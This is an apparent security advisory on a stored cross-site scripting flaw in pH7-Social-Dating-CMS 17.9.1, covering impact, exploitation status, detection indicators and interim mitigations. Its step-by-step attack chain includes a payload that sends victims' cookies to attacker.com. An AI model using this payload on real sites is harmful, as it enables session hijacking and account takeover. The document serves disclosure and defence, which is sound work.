CVE-2025-63644: 
PHP vulnerability analysis and mitigation

CVE-2025-63644 is a stored cross-site scripting (XSS) vulnerability in pH7Software pH7-Social-Dating-CMS (also known as pH7 Social Dating Builder) version 17.9.1, affecting the user profile Description field. The vulnerability was received by MITRE on January 14, 2026, and last modified on January 23, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium), as assessed by CISA-ADP, requiring low privileges and user interaction (Red Hat CVE, Medium Write-up).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically the stored (persistent) variant. An authenticated attacker with low privileges can inject malicious JavaScript into the Description field of their user profile; the payload is permanently stored in the application and executes in the browser of any user who views the affected profile, including administrators. The attack vector is network-based, requires no special conditions beyond a valid low-privilege account, and the scope is changed because the injected script executes in the context of other users' sessions. A public proof-of-concept and a third-party technical write-up are available (Medium Write-up, PoC Files).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users — including administrators — who view the compromised profile. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, content defacement, or malware distribution. Because the payload persists in the application and executes for every viewer, the blast radius extends across the entire user base of the affected platform (Medium Write-up, Red Hat CVE).

A proof-of-concept exploit is publicly available via Google Drive, referenced by both MITRE and NVD as an exploit resource (PoC Files). There is no confirmed evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.029% (very low probability of exploitation in the near term). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE).

1. Reconnaissance: Identify a publicly accessible pH7-Social-Dating-CMS instance running version 17.9.1 by browsing the site or checking version indicators in page source or HTTP headers.
2. Account Registration: Register a low-privilege user account on the target platform (or use an existing account).
3. Inject Payload: Navigate to the user profile edit page and insert a malicious JavaScript payload into the Description field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector.
4. Save Profile: Submit the profile update; the malicious script is now persistently stored in the application database.
5. Trigger Execution: Wait for other users (or administrators) to view the attacker's profile. When the profile page is rendered, the stored script executes in the victim's browser within the application's origin context.
6. Harvest Results: Collect exfiltrated session cookies, credentials, or other sensitive data from the attacker-controlled server, enabling session hijacking or further account takeover (Medium Write-up, PoC Files).

• Logs: Web server or application access logs showing profile update requests (POST to profile edit endpoint) containing HTML/JavaScript tags such as <script>, onerror=, onload=, or encoded equivalents (e.g., %3Cscript%3E) in the Description field parameter.
• Logs: Application logs recording profile view events for accounts whose Description field contains script tags, particularly if followed by outbound HTTP requests to external domains.
• Network: Outbound HTTP/HTTPS requests from users' browsers to unfamiliar external domains immediately after viewing a specific user profile, potentially carrying cookie or session data as query parameters.
• File System: No direct file system artifacts expected for a stored XSS; however, database records for user profiles containing raw HTML or JavaScript in the Description column should be treated as suspicious.
• Browser/Client: Unexpected redirects, pop-ups, or network requests to attacker-controlled infrastructure observed in browser developer tools when viewing specific user profiles (Medium Write-up).

No official vendor patch has been released for pH7-Social-Dating-CMS 17.9.1 as of the time of disclosure. Administrators should immediately audit all user profile Description fields in the database for suspicious HTML or JavaScript content and sanitize or remove malicious entries. As interim mitigations: implement strict server-side input validation and output encoding for all user-supplied profile fields; enforce a Content Security Policy (CSP) header to restrict script execution origins; consider disabling or restricting the Description field until a patch is available; and deploy Web Application Firewall (WAF) rules to detect and block XSS payloads in profile submissions. Monitor for signs of exploitation and contact pH7Software directly for patch availability (Red Hat CVE, Medium Write-up).

A researcher published a technical write-up on Medium detailing the vulnerability and its exploitation mechanics shortly after disclosure (Medium Write-up). Red Hat has tracked the CVE in their security advisory database, though pH7-Social-Dating-CMS is not a Red Hat product (Red Hat CVE). No significant broader media coverage or notable vendor statements have been identified beyond the initial researcher disclosure.